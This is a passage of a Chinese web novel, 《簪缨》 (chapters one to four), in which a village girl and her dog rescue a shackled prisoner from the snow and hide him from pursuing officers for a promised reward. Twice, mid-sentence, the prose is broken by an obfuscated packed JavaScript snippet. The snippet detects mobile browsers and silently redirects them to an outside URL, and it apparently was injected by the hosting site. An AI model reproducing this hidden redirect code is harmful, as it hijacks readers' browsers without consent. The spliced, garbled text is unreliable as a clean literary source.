《簪缨》 1. 雪日晴阳（一） 那三个奇怪的男人走进青水镇的时候，周缨将将结束一夜的劳作。 彼时天光初现，小镇刚从沉寂的夜里苏醒，人声随早起赶集的商贩从四处涌来。 听到动静，周缨将初制成型的两排陶甑整齐摆放至石台上等待阴干，而后伸了个懒腰，推开了作坊老旧发霉的木门。 一只通体黢黑的中型犬从她脚边蹿出，一跃跳出这座矮小的夯土房，在寸许深的积雪里打了个滚儿，又使劲儿摇晃脑袋将毛发上沾染的雪粒甩出三尺开外。 昨夜方和雇主就工钱之事发生过争论，情绪本就低落，加上彻夜劳作，周缨原本疲倦不堪，此刻却看得一乐，情绪一扫而空，嗔道：“黑豆，不许贪玩了，咱们还有活计要忙呢。” 似应和她的话，黑豆停住了动作，然而并未像平素一样摇着尾巴跑到跟前来，反而不安而警惕地盯着西北方向，喉间逸出沉闷的低吠。 “黑豆？”周缨疑惑地随它看去，便瞧见了那三个怪异的男人。 三人并排往场镇走来，步伐迈得极大，须臾间已到了跟前三尺处。 两侧之人身材粗矮敦实，身着深蓝粗布皂衣，双眉紧锁，警惕地打量着四周，眼神不善地盯了周缨一眼，逼得她垂下眼眸，手轻轻在黑豆头上拍了拍以示安抚。 三人绕过她往前走远，镇上生人少，周缨不自觉地回头看去。 相较另外两人，正中那人身形要挺拔瘦削得多，然而穿着实在不合时宜，一件单薄的粗粝麻衣显然遮不住雪后凛风，身子瑟缩得厉害。 周缨不由又多看了两眼。 左侧的壮汉回头看来，眼神凛冽，周缨在黑豆背上拍了一下，提高声音道：“咱们赶紧送完炭回家去，怕晚些又下雪。”说罢埋头疾步离开。 好不容易放晴，周缨急着回家忙活，加紧将攒了好些时日的一麻袋木炭送到主顾店里，这才发觉黑豆没跟来，便径直去肉铺寻找。 黑豆每次来集上都会来此处转转，偶尔能得到一些宰肉时飞溅的肉沫和屠夫大发善心施舍的骨头渣，但今日，周缨没在肉铺的案板下找到黑豆，只好沿着窄长的街道边唤边找。 往西走出去小半里路，一阵肉香传来，周缨循着味儿看过去，黑豆果然在铺子前面摇尾乞食。 店内的客人，恰恰是她先前所见的那三个男人。 老板生怕惹客人不悦，上前驱赶。黑豆恋恋不舍地往里又看了一眼，尾巴耷拉下来，沮丧地往外走。 正当此时，半个包子被轻扔至地上，黑豆凑上去嗅了嗅，立刻埋头狼吞虎咽起来，两口便将其下了肚。 馋劲儿未解，黑豆舔着舌不肯走，在原地转着圈儿。 又半个包子再度被扔过来，黑豆眼睛一亮，赶紧低头大快朵颐。 “瞧不出来，你居然还是个大善人，不过路上的开销是定死了的，吃一口少一口，你既要当好人分给这畜生，今日便饿着吧。”朝外坐的男人将这一切收入眼中，面色不善地嘲讽了一句，说罢又怪罪同伴，“早说不必对他如此友善，吊着口气饿不死就行，何必浪费这钱。” 这对话愈发怪异，周缨想多觑几眼，又怕惹事，只好低声唤黑豆赶紧回来。 但一道目光却在此时轻轻投来。 她终是没忍住抬头，四目相对，一双深若寒潭的眸子令她莫名心惊。 她微微点头谢过他的好意，弯腰将恋恋不舍的黑豆抱起，缩着脖子快步离开。 到家时已过晌午，周缨随意做了两个菜，陪着阿娘吃完，草草补了会儿觉便赶往后山。 积雪未融，出来捡柴的乡邻少，收获反而比平日更丰，不多时她便捡满了一整篓柴禾。 她一路和黑豆比拼着速度往家赶，行至一半，先前敞亮的天色迅疾阴沉下去，凛风紧跟着呼啸而来。 风雪迷人眼，周缨看不清路，不得不暂避到一处内凹的崖壁后，才从这刺骨的寒风中逃出生天。 生于山野长于乡间，辨出这只是阵风而非下雪的前兆，周缨放心地放下背篓，在崖后蹲下身来，将自己蜷成一团取暖。 陡然发觉先前在脚边蹿来蹿去的黑豆不见了踪影，又直起身子，扬声冲着风雪唤道：“黑豆，回来——” 灰蒙蒙的天色里蹿出来一个黑色的小点，迅疾往崖后奔来。 伴着逐渐清晰的踏雪声，黑豆疾奔而来，绕着她急促地转了五六圈，将尾巴甩出了虚影。 周缨蹲下来，将它搂进怀里，屈指在它脑袋上弹了一下，佯装怒道：“又玩疯了？突然刮起这样大的风来，也不知道往回跑。” 黑豆不安分地转来转去，试图挣脱她。 等她放开它，它又不再次奔出去撒野，只在她脚边蹭来蹭去，不耐地打着响鼻。 崖外寒风呼呼作响，周缨被它的反常所迷惑，半晌没有动作。 黑豆则越来越急促，围着她不住地转圈。 周缨犹豫了下，重新把它搂进怀里，放低声音安抚道：“你怎么啦？等风停了，咱们马上就回家，别急好不好？” 朔风退散，日头从层叠的黑云背后跃出来，周缨蹲身去背竹篓，黑豆急不可耐地咬住她的裤腿，使出全身力气将她往外拖。 雪地湿滑，周缨被拉得一个趔趄，踉跄了几步才站稳。 黑豆怕她坠下崖去，不敢再使蛮力，却依然不肯松嘴，只不停地摇着尾巴。 “怕了你了。”周缨终于领会到它的意思，返回背篓前取出一根榆木棍，用力往地上压了压，确认还算结实，才摸了摸它脑袋，“想去哪儿，走吧。” 黑豆这才放心地松开她，往前跃开一步带路。 先前缠缠绵绵地下了半月的雪，昨日初晴，现下积雪仍旧没踝，油靴一脚下去，踩得雪地“嘎吱”作响。周缨拄着榆木棍，绕出这个内凹的大崖壁，跟着黑豆走出去半里地，瞧见白雪地里露出一个黑点。 周缨顿住脚。 黑豆奔到那黑点旁，两只前爪不停地刨起雪来。 不到半盏茶功夫，那黑点完整地显露出来——是个人。 周缨撑着木棍走近，眼神微凝。 一张线条锐利的年轻男子的脸，满脸血污，豁口遍布，因融雪极寒之故，脸上伤口所流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418865|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血已被冻成暗红血渍，触目惊心。 定睛一看，赫然是早间两次相遇的那个男人。 难怪黑豆执意要引她前来，原是曾受过他口舌之惠。 周缨抬头往上望去，崖上枯木七歪八扭，从中折断不少，显然为此人方才坠下时砸断。 她心有余悸地长吁一口气。 此处地势特殊，东侧是她方才避风时所在的内陷崖腔，是一块天然的避风之所，西侧是他们此刻所处的这一块微凸的平地，而往上是一片陡崖，崖边是附近村民为抄近路而硬生生踩踏出来的一条小道，往下则是另一片陡崖，崖下是暗流涌动的沙河。 但凡坠下的地方偏个两三尺，这人便该尸骨无存了。 黑豆还在不停地刨着雪，试图将人从凹陷的雪坑里刨出来。 周缨上前，探手试了试他鼻息，屈身将溅落在他身上的雪大致扫下来。 “咚”的一声，小指被打疼。 她甚至来不及起身，便半猫着腰疾退了三步，才勉强定住心神，神色复杂地看向雪地里的这个不速之客。 此人腕间，系着一副镣铐，方才为衣袖所掩，未能一眼看出。 黑豆不明所以，围着这人转了几圈，舔舐完他冻僵的脸，在他心口位置趴卧下来。 “你这畜生还通人性不成？”周缨又好气又好笑。 她起身走出去两尺地，来回踱步了好几次，视线忽然聚在此人的衣着上，神色微动。 她环视周遭一圈，确认不见人迹，勉强平复情绪，走近仔细观察此人。 此人外衣被崖上树枝划出不少破洞，凌乱地掩在身上，露出里头的中衣一角。光滑柔软的缎料，严丝合缝的针脚，精细缜密的刺绣工艺，周缨冬日卖炭，春夏养蚕抽丝，闲时到镇上做短工，以此维持家用，对此敏锐无比，一眼便看出这件中衣价格不菲。 她正怔忪间，黑豆忽地吠了一声，她回过神来，瞧见黑豆正急切地盯着自个儿，分明是盼着她不要再发呆，赶紧搭把手帮忙，哂道：“你也是个只记吃不记打，胳膊肘往外拐的。” 朔风吹过，周身发寒，周缨心下微紧。 她再没见过世面，也该判断出上午那三人的关系了，此人应是被秘密押解的囚犯，而另外二人自然是乔装过的役吏，此刻他坠崖在此，那二人应该很快就会寻来。 理智告诉她，她不应给自己惹麻烦。窝藏者同罪，重可致死，她曾与县衙的官差打过一次交道，知晓他们的野蛮难缠，明哲保身当作未曾见过这一幕是最明智的选择。 雪光晃眼，她微眯着眼，再次打量了一眼此人的样貌和表里不符的穿着，心下犹疑，举棋不定，但终是迈不出步子离开。 她盯着仍旧趴在这人身上不肯下来的黑豆，好半晌，似下定了决心似的，决定让上天来帮她做这个决断：“看这畜生能不能有救人一命的造化吧。” 盏茶功夫过去，黑豆跑过来扒拉了她两下，前爪的冻感令周缨回神，她垂眸看去，恰见雪地上的男人睫毛轻颤了下，缓慢将眼睛睁开了一条缝。 周缨心中莫名一松。 2. 雪日晴阳（二） 日光晃眼，崔述迷迷糊糊地逆着光看了半日，也没能看清眼前之人的模样，只能隐约辨出来是个女子的身形。 周缨解下腰间水囊，递到他面前。 他尝试着抬动右手，发觉完全不能动作，只能再去试左手，却也只能微微抬高两寸就失力坠下。 周缨只好拔掉木塞，蹲身将水囊送至他嘴边，倾斜着喂给他。 冻得狠了，咽水不及，温水堵在喉间，激得他呛咳起来。 周缨收回手，平静地审视着他。 这阵咳嗽来势汹汹，崔述煞白的面上浮起一阵潮红，脖颈上青筋突起，带动着整个身子一颤一颤。 旷野里，镣铐带起的“叮叮”声不绝于耳。 他的下颌过于消瘦，周缨伸手，就着从他侧颊上滑落的清水，将他下巴上那道血渍擦净，露出利落的线条来。 崔述的目光随着她的动作缓缓聚焦在她脸上，并未忆起早间镇上的仓促一面，亦不知她心内其实已百转千回过数次，只觉她此刻神色平静，没有半分遇见落单囚犯的慌张。他沉默片刻，道：“感谢姑娘搭救。” 镣铐将他必惹麻烦的身份暴露无疑，常人避之不及才是常态，可眼下处境，有人相助自然更好不过，崔述略一忖度，开门见山道：“在下家资尚可，逢此意外，家人必然全力找寻。等寻到此处，必以重金相酬，还望姑娘助人到底。” 这和她起先的推测倒相差无几，周缨起身走开两步，沉默不语。 旷野空渺，落针可闻。 锒铛入狱，身无他物，就算此女爱财且不怕事，相信他的几率也不过十之一二。 唯一可以说动的她不过是，他现下行动困难，可为她所制，若无人前来兑诺，她尚有筹码，至少可以顺利将他移交官府，保自个儿不受牵连。 她既没有立刻拒绝，便有贪财涉险之心，崔述的视线跟随着她走动的身影，耐心地等待她的答案。 久不动作，黑豆以为他再度晕厥过去，又过来蹭了蹭他的脸。 湿漉黏腻的触感令他身子一僵，他迟疑着看过去。 旷野里又呼呼地刮起风来，黑豆黢黑的毛发被吹得根根分明地立起，亮汪汪的眼睛眨也不眨地盯着他，他不禁乐道：“是你啊，小家伙。” 周缨看过来，见他正努力地抬起左手，试图去逗弄黑豆，心下微动。 “押解你的人会追来吗？” 闻她猝然发问，崔述微愣，垂下将将抬起的左手，顺着她的问话回答：“会。我被判流刑，押送我的是平山县的官差，将送我去明州府，囚犯半途失踪，必然要找，至少要走走过场，否则难以交差。” 没料到他竟会答得这样坦诚，周缨微怔片刻，追问道：“你是什么时候摔下来的？” 崔述掩下心中的诧异，再端量了她一眼。 她穿一身淡蓝色的粗布袄子，冬衣厚实，显得身躯有些臃肿，然而一张脸却是清瘦的，头发束成两股搭在肩侧，清秀的五官尚未完全长开，确实是一个年纪不大涉世未深的农家女的模样，看不出丝毫破绽。 “申时末。” 周缨仰头辨了眼日头，确认时间还充足，接问道：“你犯的是什么罪，官府是不是一定要活要见人死要见尸才会罢休？” “不会。流放途中自来死伤不在少数，若遍寻不获，也只能按实奏报。” 听闻如此答案，周缨指着上方的坠崖之地说：“从崖上你们所走的那条小路下到这里，只能绕道山脚的赵家村，平时需要一个半时辰。丢了犯人，情况紧急，想必动作会快些，”她顿了顿，同他确认，“你方才所说的报酬，可作数？” 此女虽手无寸铁，但胜在熟悉地形，又思路清晰，崔述心知可靠，应道：“自然。” “好。”周缨简短地应了一声，屈身来扶他，“剩的时间不多，你还走得动吗？” 崔述再试了一试，老实道：“右腿尚有知觉。” 周缨将来时所带的榆木棍给他做支撑，扶他起身，又绕到他左侧，将他大半个身子压在自个儿肩上，扶着他往方才避风的崖壁后走去。 积雪厚重，周缨带着他行得艰难，一刻钟后，方走到崖壁后一处狭窄的平台上。 周缨让他扶着石块借力，自个儿则从背篓中拿出柴刀，摸索着将刀送进一条狭窄的石隙中。 折腾半晌，石板仰面倒来，周缨灵巧避开，拿刀背在洞壁上拍打了几下，又探头进去查看了半晌，退出来对他说：“有点窄，但还算干燥，勉强可以躲一阵。” 崔述点头。 周缨扶着他进入逼仄的石洞中。 “这时节没有虫蚁，你安生待着，等官府的人走后我来接你。” 周缨话说得简短，说完便要去抱那封口的石板，崔述唤住她：“等等。” 周缨顿住动作，略想了一想，将手中的柴刀放入洞中：“你方才亲眼看到了，这种洞口没法封死，即便我将你扔在这儿不管，等你力气恢复以后，也可凭这刀想办法出来。” 见他不出声，她迟疑片刻，将身上的袄子脱下来垫在他背后，使他既能靠在石壁上省力，又不至于被石块冻伤：“若我报官，你可以拿此物向官府告发，你我其实是同伙，只是我因为怕事临时变卦改了说法。” 为省时间，她语速极快，说完问他：“我可以继续了？” 崔述听她交代完这一长串，原本再度微抬的左手悄然垂落身侧，腕间寒芒一闪而过掩入袖中，问道：“需不需要我教你如何避开搜查？” “不用，这地儿我比你熟。”周缨只作没有看到他的动作，将腰间水囊解下，塞进他怀中。 石板落下，隔绝所有光线，洞穴内漆黑一片，崔述被这动静激起的粉尘呛住，轻微咳嗽起来。 周缨没等里头消停，用木棍将洞穴四周敲打严实，捧雪草草遮掩了一遍，四下扫视一周，见无异样，背起背篓沿小道快速赶回家。 杜氏在屋内听到外头的动静，嘀嘀咕咕地不知说些什么。 周缨快速热好饭菜端进屋，边替她添炭边叮嘱她：“阿娘，我再出去一趟，你先吃，我晚点回来收拾。” 说完两步拐进自个儿房间，拽出一件平素舍不得穿的半旧棉袄套上，又找出一把夏日里用的晒谷耙和一只簸箕，带上篱笆院门往外走。 黑豆还要跟着她，周缨想了一想，将它唤回屋里，寻了根藤条拴在灶下，拍了拍它脑袋，安抚道：“一身都打湿了，别去了，就在家里烤会儿火。” 她独自赶回崖下，仔细对照着崔述坠下的方向和路线，抱来几块大石头，沿着下方陡崖的边缘扔下去，一路“咔擦”断枝声不绝，最后落于沙河上，砰地敲碎了结了薄冰的河面。 周缨满意地回到石穴前，拿簸箕兜满雪，倒在封口的石板外缘，又拿木棍结结实实地捶打了数次，将雪压实。 直到再看不出雪有松动的痕迹了，周缨才将簸箕的系绳挂在脖子上，拖着那耙子后退三步。 晒谷耙头部是一块底部边缘齐整的木板，后以竹竿相连，平素用来均匀推平谷麦以便晾晒，此刻却是用来平整雪地的绝佳工具。周缨用它将全部痕迹抹灭，又在平整的雪面上撒上碎雪，边重复这动作边后退着往家走。 等完成这一切回到家中，日已完全西沉。 周缨先去收拾了碗筷，伺候杜氏洗漱歇下，将剩菜热过草草吃了几口，勉强糊弄完一顿，又将家中仔细收拾了一遍，烧了一大锅热水备着，这才攀到屋顶，登高望向后山。 隔着暮色，影影绰绰地看出，后山有微弱的火光沿着小道逼近。 又过了大半个时辰，那火光复又沿着山路向西返回，不见了踪影。 周缨拿背篓装了几块特意在灶中烘烤过的干柴，背上往后山走去。 此地地势特殊，她家独门独院地隐在崖后，若非熟悉地势，或者仔细查探，很难发现此处有户人家，更何况她还刻意用枯枝残雪掩埋了唯一一条小道，方才又熄了灯火，官差短时间内自然寻不过来。 而那座石穴，她已隐蔽得足够完美，加之天色暗淡视物困难，若非意外，应该也不会被发现。 快到崔述藏身的石穴时，黑豆支着耳朵听了半刻，没听见异动，才跃开一步带路。 周缨跟着它 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干柴遇火燃得极快，不多时火苗便蹿起来半人高。周缨将先前留给他的水囊拾起，发觉轻了许多，便将新带来的水囊递过去，崔述左手接过，放在怀中固定好，再用左手去拔木塞。 见他两次尝试都没能成功，确认他右手确实受了伤，周缨探手过去帮他拔掉，怪道：“先前那一壶都能打开，怎么现在又不行了？” 崔述仰头慢慢喝了两口，等喉间不适微有缓解，才说：“方才藏身时间久，蓄了不少力，故能勉强一试，现下已消耗殆尽。” 周缨不疑有他，等他喝够，收好水囊，将柴禾架得更高，好让火烧得更旺。 借着火光，她认真端量了他一眼。 他脸上不知何时又添了一道新伤，侧颊上隐隐渗出的血珠无声坠入雪地，染出一小簇红雪。 明明满脸是伤，狼狈而落魄，然而侧脸线条冷峻，鼻英而挺，双眸黝黑，眼神沉静幽遂，双唇干到皴裂，泛着淡淡的血色，衬着颊上凌乱的划痕，又平添三分月落青瓦的寂寥。 周缨形容不出来，她生长在这块巨石的背后，最远没有走出过这块崖石的方圆百里地，拿粟麦蚕丝木炭去镇上换钱时见过形形色色的买主与过客，但独独没有他这样的。 这探询的眼神过于赤|裸，崔述有所察觉，隔着火苗看过来。 周缨坦率地迎上他的目光，没有避让。 “你犯了什么事？” 崔述抬眸看她一眼，又安静地垂下眼帘，没有作答。 体温逐渐恢复，僵硬之感减退，他试着活动四肢。运气还算不错，厚重绵软的积雪卸掉了大半坠崖的力，左腿应是撞上了崖上巨木，现下已经骨折，右手也伤得重，但万幸还有一手一腿只是皮肉伤，不至于完全成个废人。 周缨平静地看着他的动作，目光落在他腕间。 “故意还是意外？” 崔述想了一想，知她说的是坠崖的事，实诚道：“故意。” 周缨也不意外，只说：“那你胆子挺大，运气不好一点，流放就变成丢命了。” “嗯。要犯嘛，本当处以绞刑的大罪，侥幸判了轻刑，后路如何尚不可知，还不如赌上一赌，何况我观察过地形和树木再‘失足’的，除非天意如此，否则不致丧命。”他说这话时语气过分平静，似寒月泻下的凉辉。 这话怪异，引得周缨多看了他两眼，再问了一遍：“你犯了什么罪？” 崔述没出声。 两度发问没能得到答案，周缨也不勉强，自行结束了这个话题，看了眼天色，转问道：“现下好点了吗？我搀着你的话，能走多远？” “小半个时辰应当能坚持。” “好。我扶你，你忍着些痛。” 周缨让他靠近火堆再暖暖，自个儿用石板重新封了洞穴，弯腰捧雪抹掉人迹。 “今日多谢姑娘。” 温和醇厚的嗓音从背后传来。 掌心的雪被体温融化些许，湿漉漉的，凉凉的。 3. 雪日晴阳（三） 周缨转头看他一眼，莫名笑了下：“道谢倒不必，别忘了你答应过我的东西就成。” 过于唯利是图的一句话，却不叫人反感。 崔述沉默地注视着她的动作。 周缨捧雪灭了火，将未燃尽的柴禾捡到背篓中，拿木棍将黑色的残烬推至崖下，抹掉人迹，将背篓背好，单手拿着袄子，扶着崔述往回走。 雪地湿滑难行，这段路本就崎岖，带着一个身量比她高大许多的累赘，周缨走得颇为吃力，好在镇日忙于农活，力气尚可，不至于束手无策。 黑豆在前引路，避免他俩因雪踩空，即便如此，两人还是走了小半个时辰才走到院门口。 “小心点，别让我阿娘听到动静。” 周缨扶着他小心翼翼地穿过院中，进到自己屋里，点燃灯烛，指着那张木床道：“你先坐会儿，我去打些水过来。” 等她带上门出去，崔述环视了这房间一周。极为狭小的一间屋子，除了一张简陋的架子床和一个矮小的木柜，再无他物，过道也狭窄得仅能容一人通过。 除了这张床，他似乎确实无处可以安身。 短暂烤火带来的温暖逐渐消散，冷气顺着四肢上涌，周身再度麻痹，力气不支，他扶墙靠坐下来。 周缨回到灶间，打来一盆热水。 听见动静，崔述将沉重的眼皮翕开一条缝。 周缨被他搁在过道上的长腿一绊，手中的木盆差点摔出去，勉强用身子撑住柜角才不至于跌倒，恼怒地回头瞪他一眼，却瞧见他靠墙坐着，唇色乌僵发紫。 她怔了下，赶紧捉过他的手放进盆中浸着，又去搬了把凳子过来，将他扶起靠坐在墙上。 见他动作困难，她蹲身替他脱鞋。 他脚上所穿的是一双略大的单薄麻鞋，应为牢狱中统一发放。冬日里这种鞋本就无法御寒，何况他脚上这双还已经被石块和树枝划出了十来个小破洞。 崔述迷糊间推拒：“不必。” “你自己能行？”周缨抬头看他一眼，不待他说话，手上微一用力，强行将鞋脱下，触到里头质地上佳的罗袜，不动声色地将其脱下，将他冻到青紫的脚放进盆中浸没。 过了片刻，崔述才觉得僵硬之感缓缓褪了下去，脚上有了知觉，人也慢慢缓了过来，同她道谢。 “冷成这样，也不知道上床先用被子焐着么？”周缨乜他一眼，语气比平常硬上三分。 然而崔述此话说得极认真： “脏秽未除，不敢慢怠姑娘之物。” 周缨心头莫名一跳：“你是读书人吧？”不待他回答，又道，“早就想同你说了，别同我酸来酸去的，害我连听带猜的，累得慌。” 她直起身，避免和他对视，回灶间再打了一盆热水过来，将帕子递给他：“擦洗一下，上去焐着。” “多谢。” 周缨斜靠在柜角上，见他正低垂着眼，趁机借着晦暗的烛光观察他。 他做事很是慢条斯理，并不因生人在侧而不自在，先单手慢慢束好发，再拿帕子细细擦拭脸上的伤，指腹触到结痂的地方，便用帕子焐上一小会儿，再擦拭掉血渍。 周缨看了一阵，打开柜门翻拣出一双新的千层底布鞋，放至地上：“肯定不合脚，勉强趿着走吧，总比湿的强。” 崔述看过去，这双鞋确实小上不少，但村野妇人并未裹足，还算勉强能穿，于是点了点头：“多谢。” 对他的客套，周缨已见怪不怪，并未接话。 她的注意力被他腕间不时作响的镣铐所吸引，略想了想，从柜中翻出一把剪刀递给他：“衣裳都湿透了，剪了吧。” 崔述依言接过剪刀，将外衫的右边袖子剪开，停下了动作。 周缨会意，站至他左侧，接过剪刀，沿衣物的褶皱剪出一条平整的线，替他将这件脏污的外衣褪下，旋即端来一盆烧得正旺的炭火：“把中衣烤干再上床焐着，暖和得快些。”说罢端着先前那盆脏水回到灶间。 她刻意等了小半个时辰，趁这段时间将自个儿拾掇好，甚至还慢悠悠地烫了个脚，才端了碗一直煨着的粥回到屋中。 他已将中衣大体烤干，正拿破旧的外衣蘸了水，单手擦拭着镣铐上沾染的污泥。 周缨沉默地站在门口，等他忙活完，才扶他坐上榻，用棉被盖住他胸口以下，将粥碗递过来：“喝吧，一整日没吃过东西了。” 崔述手微顿了下，执勺说了声“劳驾”，也不忸怩，埋头小口小口地喝起粥来。 连落难时喝上一碗果腹的白粥，他都极有教养与礼数。 他只有单手能动，周缨替他端着碗，注视着他的动作，没忍住一哂：“也不是不饿，肉包子打狗，惯来有去无回，何必？” 崔述执勺的手一顿，笑说“无碍”，却并不解释。 周缨轻嗤：“算你走运，这个肉包子倒还算有去有回。若不是黑豆非要引我去找你，按衙役找过来的时间，你即便能侥幸保住性命，也必然冻坏身子。” 其实他坠崖前已经服过药，只是撞击产生的眩晕太过猛烈，才一时陷入昏迷，就算不遇到此女，他也必然不至于被冻毙于山野，稍晚些也会在药效作用下醒来，并找到暂避之所，静待救兵，否则他不会出此下策，拿自个儿性命当儿戏。 只是若不遇上此女，因为受伤，他的处境确实会难上许多，这一人一犬的出现，的确算得上上天助他。 “总归，还是多谢姑娘出手相助。” 周缨不领这份客套的情，只说：“有钱能使鬼推磨嘛，你看着便是富贵人家做派，想必不至于骗我。”说罢又问，“你身上还有其他伤吗？” 冷不丁地听她发问，崔述停下生涩的动作，抬头看她一眼，老老实实地交代：“大的摔伤有两处，在左腿和右手上，还能活动这么久，应当没有伤及肺腑，先前应该只是受了冻。” “你的家人在哪里？你确定他们能找到这里来？需不需要我帮你送个信？” 崔述迟疑了下，说：“官差还没撤走，你去送信会有危险，且先等上几日吧。不过是暂时出了些意外，必然会来的。” 他说得这般笃定，周缨没再继续追问，只道：“你既然犯下大罪，就算家人寻过来，难道就能保下你？官府就不会继续追查了？” “这你不必管。” “我是不想管，不过是怕白忙活一场，自然忍不住问问。”周缨转头看他，将话挑明，“你打算给我多少报酬？” “你想要多少？” 周缨没说话。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418867|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充道：“都可以的，你尽管开口。” 周缨先是诧异，随即唇角溢出笑意，又意识到失态，刻意板着脸问：“真的都可以？” “嗯。你肯搭上性命救我，我自不会骗你。” “我要八十两。”她说得斩钉截铁，气势十足，生怕他反悔。 碗沿冒着白汽，崔述垂眼，掩下心底的错愕。 见他不说话，周缨微抿下唇，忐忑地问：“那五十两行么？” 她试图同他讲道理：“真的不能再少了，我担惊受怕了大半日。何况这事风险这么大，虽然你说官府找不到人也就算了，但也不是没有败露的可能，一露马脚我说不定连小命都保不住，何况你这话还有可能是骗我。若你家人来之前就事发了，我岂不是一分钱都拿不到，还得搭上条命。” 活脱脱一副既贪财又贪生的小人嘴脸。 崔述仔细地端量着她。 她斟酌半日，先前的欣喜消散得无影无踪，声音压得低低的，颇有些祈求的意味：“我看得出来，你家底当真丰厚，便不要同我计较了，我真的很需要这笔钱。” 今日官差因雪停临时改变押解路线，连他都没有料到这一出，以至于让亲随埋伏错了地方，他这才迫不得已以身犯险，以便金蝉脱壳。 其他人又怎会料事如神，知晓今日之变，安排好人来设计他，还是这样一个手无寸铁的女子？ 何况，方才廖廖几句，他已断定，这姑娘确是急需钱财，才见财起意愿担风险救他，这局面对他百利而无一害。 再有，这姑娘毕竟出身卑微，连漫天要价都不曾，为了这区区五十两的酬劳竟如此低声下气。 崔述将前因后果理清楚，便知即使此女还算镇静缜密，也不过是巧合，此地应当安全，此女也无其他心思，于是应道：“好。八十两便八十两，不会短你的，放心。” 周缨搓了搓垂在身侧的右手，腮帮微鼓，连带着脸庞看起来也圆润了些。 崔述看了片刻，淡笑着问：“你年纪还不大吧？” 周缨闻言，只当自个儿方才那副模样受了奚落，眉头微敛，冷硬地催促：“还吃不吃了？快点。” “好。”崔述收了笑意，埋首将这碗白粥加速咽下肚。 周缨收走碗，不多时拿着个灌好的汤婆子回来，塞进他被窝中，余光瞥见窗纸一角裂了条细缝，便从柜中寻出一卷厚毡布，用针线固定住，将窗户全部封死。 “隔壁有人，动静轻一点。”周缨端走炭火，吹灭灯盏，拿盆装了脏衣出门，在外头落了锁。 今夜无月，她不舍得点灯，借着瓦上的雪光照亮，将他的衣物鞋袜悉数浸湿，搓上皂角，反复清洗了三四遍，拧干水在竹竿上晾好。 等滴完水，周缨将灶膛中的红炭夹出来堆在一处，罩上镂空的竹制熏笼，把衣物平铺在上，以便烘干。 劳累了一整日，又兼提心吊胆，身体已到了极限，倦意瞬间涌来，周缨只觉眼皮沉重得很，再支撑不住，摸黑走到杜氏房中，悄悄爬上榻。 才刚刚躺下，杜氏就尖嚷起来：“出去，快出去。” 周缨坐起来，无奈地看她一眼，连声应道“好好好”，退回厨房，取来日间那件脏污的粗布袄子铺在灶下，蜷成一团，和衣而眠。 4. 雪日晴阳（四） 冬日夜寒，周缨在翌日卯时被冻醒，发觉鼻塞得厉害，烧热水烫了半天，方才松缓下来。 做好三人的早饭，喂完家禽，天色尚早，周缨到后院中取了块长两尺宽一尺的木板，借着蒙蒙亮的天色，将边缘锯平，又寻来几根木块，用钉子固定到四角，做成一张简易的小几。 修整齐平桌脚，再清洗干净，擦干水渍，放在洗衣石上晾着，周缨看着还算满意，才回到厨房端上热水去服侍杜氏起床，和她一起吃完早饭。 周缨边收拾碗筷，边同杜氏交代：“如果，我是说如果，有人来问你的话，你一定要说昨日我从集上回来后，一整日都没有出去过。” 杜氏面露疑惑之色。 “阿娘，你听懂了吗？”周缨耐心地再问了一遍。 杜氏迷茫地点了下头，依旧没吭声。 周缨将碗筷搁回灶台上，单手拎着那张小桌回到自个儿屋中。 门锁一开，黑豆先一步蹿进来，周缨险些被绊倒，拿脚尖在它肚子上虚虚踢了一脚。 这一连串动静不小，崔述却没起身，仍旧躺着。 “不早了，起来吃饭。” 周缨将碗放至柜上，取过半卷麻布，靠墙坐下来，将桌脚架在腿上，用麻布将桌面包裹起来，拿针线固定住。 “你在做什么？”崔述勉强将眼睛掀开一条缝，往这边看过来。 “做得粗糙，有点毛刺，容易伤手。”说话间，她已拿剪刀绞断了线，左手拿着桌过来，另一只手则试图把他扶起来。 手刚伸过来，便瞧见他额上冷汗涔涔，脸色苍白得可怕。 “你怎么了？” “有点烧，不碍事。”崔述试图单手撑着坐起来，腰腹一用力，眉间顿时蹙成一团，斗大的汗珠滚落而下。 “行了。”周缨伸手虚拦一下，去触他额头，烫得她几不可察地瑟缩了一下。 再同他说话，他已经迷迷糊糊地不怎么应声了，显然方才那一遭已经耗尽了他全部的力气。 昨夜见他精神尚可，还以为及时得救没有大碍，然而她还是低估了这场冻雪的威力。 周缨心头扑通直跳，取来浸过凉水的帕子，敷在他额上。 反复几次，仍不见效，而他已烧得不省人事了。 周缨退出门来，环视周围一圈，一日夜下来，人畜来回走动，地上积雪已融了大半，残存的实在是有些脏，独独瓦上薄雪尚还算干净。 她扛来竹梯，爬上去采了半盆雪下来，用布兜了一抔，压实了系在崔述额上。 冰冰凉凉的触感立竿见影，他皱成一团的眉头舒缓不少。 不多时，雪融了些许，化成水顺着他脸颊往下滑落，周缨拿帕子替他擦干，又换一捧新雪覆在他额上，瞧见他似乎又好受了些，稍微松了口气。 然而这毕竟不是长久之计，周缨在床前来回踱步，好半晌，终于下定决心，伸手绕过他肩侧，将床榻角落的干草掀起一角，取出一个绣着腊梅的半旧荷包。 观他行事作风，所言应不至为假。 八十两，她一人再怎么折腾，按目前的情况，也得不吃不喝地忙活十来年才能攒下这些银子。 她需要钱，无论如何，她得赌这一把。 